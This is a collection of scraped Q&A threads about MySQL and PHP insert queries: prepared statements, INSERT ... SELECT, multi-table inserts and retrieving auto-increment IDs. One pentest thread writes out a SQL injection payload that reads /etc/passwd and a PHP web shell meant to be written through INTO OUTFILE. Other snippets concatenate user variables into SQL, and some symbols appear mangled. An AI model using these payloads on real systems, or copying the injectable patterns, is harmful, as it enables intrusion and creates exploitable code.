I am adding a temporary table which contains a list of filenames which a second query will use. I understand that filenames can be used for sql injection, so I want to use prepared statements.
A simplified version of my working query looks like this (e.g. there could be 50 filenames):
CREATE TEMPORARY TABLE tempfile(filename varchar(100));
INSERT INTO tempfile (filename)
SELECT filename FROM (
SELECT 'myfile.jpg' AS filename UNION SELECT "myfile2.jpg") xx;
I tried to replace it with:
CREATE TEMPORARY TABLE tempfile(filename varchar(100));
INSERT INTO tempfile (filename)
SELECT filename FROM (
SELECT ? AS filename UNION SELECT ?) xx;
But mysql gives me a syntax error. Any ideas how to use parameters with this query?
And if you can give me a better title for this post, I will change it.
UPDATE - NOTE
The above query will insert two records. You can then query them with:
SELECT tf.filename FROM tempfile
Try something like this:
INSERT INTO tempfile (filename)
VALUES
(?),(?),(?);
I was converting a multi_query to a prepared statement and each statement needed to be run with a separate prepare and execute. Simple and obvious.
Related
I want to insert data while copying a column.
$db->query("INSERT INTO transactions
(order_id,cart_id,full_name,email,phone,street1,street2,
city,state,zip_code,country,landmark,sub_total,tax,grand_total,
description,txn_type,paid,customer_id,items)
VALUES
('$order_id','$cart_id','$full_name','$email','$phone','$street1','$street2',
'$city','$state','$zip_code','$country','$landmark','$sub_total','$tax',
'$grand_total','$description','$txn_type','$paid','$customer_id', items
FROM cart WHERE id ='$cart_id')
");
In the above code, I am inserting all the values while copying
"items from cart where id=$cart_id".
what I am doing wrong?
seems you need an insert select
insert into transactions
(order_id,cart_id,full_name,email,phone,street1,street2,
city,state,zip_code,country,landmark,sub_total,tax,grand_total,
description,txn_type,paid,customer_id,items)
SELECT
'$order_id','$cart_id','$full_name','$email','$phone','$street1','$street2',
'$city','$state','$zip_code','$country','$landmark','$sub_total','$tax',
'$grand_total','$description','$txn_type','$paid','$customer_id', items
FROM cart WHERE id ='$cart_id'
bust you should not use php var in sql you are at risk for sqlinjection .. you should take a look at you mysql driver for prepared statements and binding param ..
You need to replace
VALUES(
with
( SELECT
Just refer INSERT ... SELECT Syntax
Here's an interesting scenario. During a recent pentest, I came across a SQL injection inside an INSERT query. The backend code looks something like this:
$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";
I'm able to insert arbitrary values into the file and even use a SELECT sub query to insert the contents of '/etc/passwd' to the col1 inside sometable and read it later via a completely different functionality somewhere else in the application.
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";
The challenge is to write a file to disk using INTO OUTFILE (I have FILE privs and the document root is writable by the MySQL user - verified). It looks like MySQL does not support the following:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";
The aim is to write a php web shell in a folder where I have write permissions. The final query that needs to be executed is this:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";
MySQL expects data to be returned by sub-queries which is why the above statement does not seem to work since INTO OUTFILE will write data to disk instead of returning it to MySQL.
Do you think there is a workaround?
From http://dev.mysql.com/doc/refman/5.7/en/select-into.html
An INTO clause should not be used in a nested SELECT because such a
SELECT must return its result to the outer context.
So the answer is no, I think.
Also see mysql insert can't with select into outfile?
I know this is possible using transaction but I want to do it using single mysql query.
this is which common format transaction
START TRANSACTION;
SELECT #A:=SUM(salary) FROM table1 WHERE type=1;
UPDATE table2 SET summary=#A WHERE type=1;
COMMIT;
but I need to know a single mysql query is possible?
Normally, you can not do this in MySQL. But you can do this using concat query.
INSERT INTO your_table
(value1,value2,value3)
VALUES
(a,b,c),
(d,e,f),
(i,j,k);
But this is not your question answer. so Your question answer is NO. MYSQL is not support it still now.
No, it can't be done in single statement like
insert into table1,table2
either you do separately like
insert into table1 ...
insert into table2 ...
(OR)
Wrap the insert statements in stored procedure and call that procedure like
create procedure sp_insert_multiple
as
begin
insert into table1 ...
insert into table2 ...
end
Call the SP
exec sp_insert_multiple
You can't do this. However, you can use a transaction and have both of them be contained within one transaction.
START TRANSACTION;
INSERT INTO table_1 VALUES ('1','2','3');
INSERT INTO table_2 VALUES ('one','two','three');
COMMIT;
See the following rule
Normally it is not possible to insert multiple table in single query. you can insert multiple row in a single table . like as
INSERT INTO tbl_test
(a1,a2,a3)
VALUES
(1,2,3),
(4,5,6),
(7,8,9);
you can do this in Oracle
by using procedure you can insert
create procedure insert_query
as
begin
insert into tbl_test1(a1,a2,a3) VALUES (1,2,3)
insert into tbl_test2 (b1,b2,b3) VALUES (1,2,3)
end
you can do that like coz
MySQL doesn't support multi-table insertion in a single INSERT statement.
INSERT INTO NAMES VALUES(...)
INSERT INTO PHONES VALUES(...)
here is a link of detail answer..
sql - insert into multiple tables in one query
I am trying to create a temporary table from the results of multiple tables that are alike (same table structure). After creating the temporary table and runing the subsequent queries, I would like to store the results from the temporary table in an array to be accessible later in the script/program. I have tried searching for an answer and can't seem to find one.
I have tried nextRowset() as well as separating the queries, but nothing seems to be working like I expect it to work.
Here is my code:
$pdo = new PDO("mysql:host=".$_SESSION['server'].";dbname=data".$_SESSION['sysident'],$user,$pass);
$stmt = $pdo->prepare("DROP TABLE IF EXISTS $tabletocreate;
CREATE TEMPORARY TABLE $tabletocreate LIKE table1;
INSERT INTO $tabletocreate (SELECT * FROM table1 WHERE (MISC LIKE '%:memno%' OR MEMNO = :memno)) UNION (SELECT * FROM table2 WHERE (MISC LIKE '%:memno%' OR MEMNO = :memno)) UNION (SELECT * FROM table3 WHERE (MISC LIKE '%:memno%' OR MEMNO = :memno)) ORDER BY SLIPNO;
SELECT * FROM $tabletocreate");
$stmt->bindParam(":memno",$_SESSION['memno']);
$stmt->execute();
$stmt->nextRowset();
$test = $stmt->fetchAll();
print_r($test);
I am unsure as to why the results are not being stored into the array. From what I can tell, everything seems right and no errors occur when the script is ran. I appreciate any help that anyone can offer.
UPDATE - I found out why the query wasn't working. I was using a "-" in the table name I was trying to create which isn't allowed.
You cannot run multiple queries in a single ->query() call. This is a security measure in the underlying PHP mysql drivers, to prevent some form of SQL injection attacks. Doesn't matter which DB interface library you're using, because they all use the same underlying drivers. You'll have to run each seperate query separately:
->query("DROP TABLE IF EXISTS ...");
->query("CREATE TEMPORARY TABLE ...");
->query("INSERT INTO ...");
etc...
I was trying to create a table name with a "-" in the table name. After removing this from the table name, all the queries executed successfully and my PHP code worked as intended.
What is the best way to get the auto-id value in the same SQL with a SELECT?
A forum said adding this "; has Return Scope_Identity()"
in the end of the SQL works in ASP.
Is there a corresponding way in PHP?
It depends on your database server. Using MySQL, call mysql_insert_id() immediately after your insert query. Using PostgreSQL, first query "select nextval(seq)" on the sequence and include the key in your insert query.
Querying for "select max(id) + 1 from tbl" could fail if another request inserts a record simultaneously.
In postgres the best way is to do something like:
insert into foos(name) values ('my_foo') returning id;
It depends on the database engine you are using. Some DBMS, like Firebird for example, have RETURNING clause you can add to your query. For example, if you have a table named TABLE1 with autoincrement column named ID, you can use this:
insert into TABLE1(columns...) values (values...) returning ID;
And it would return the inserted ID just like a regular select statement.
In Microsoft Transact SQL you can use ##IDENTITY.
e.g.
DECLARE #Table TABLE ( col0 INT IDENTITY, col1 VARCHAR(255), col2 VARCHAR(255))
INSERT INTO #Table (col1, col2) VALUES ('Hello','World!')
SELECT ##Identity
SELECT * FROM #Table
In php: mysql_insert_id()
http://us3.php.net/mysql_insert_id
or
If you wanted to genterate the number from your mySql select query, you could use this
EDIT:
SELECT LAST_INSERT_ID(`1`) + 1 FROM table
Be very careful: Apparently select nextval(seq) does not work in high concurrency - some other connection can insert between the time when you inserted and the time when you called select nextval(seq). Always test such code in high concurrency test harnesses.
In SQL Server a insert using the select statement can have an output clause which will return the identity value and whatever other columns you might need to identify which identity goes to which record. If you are using a values clause, then use select scope_identity () immediately after the insert.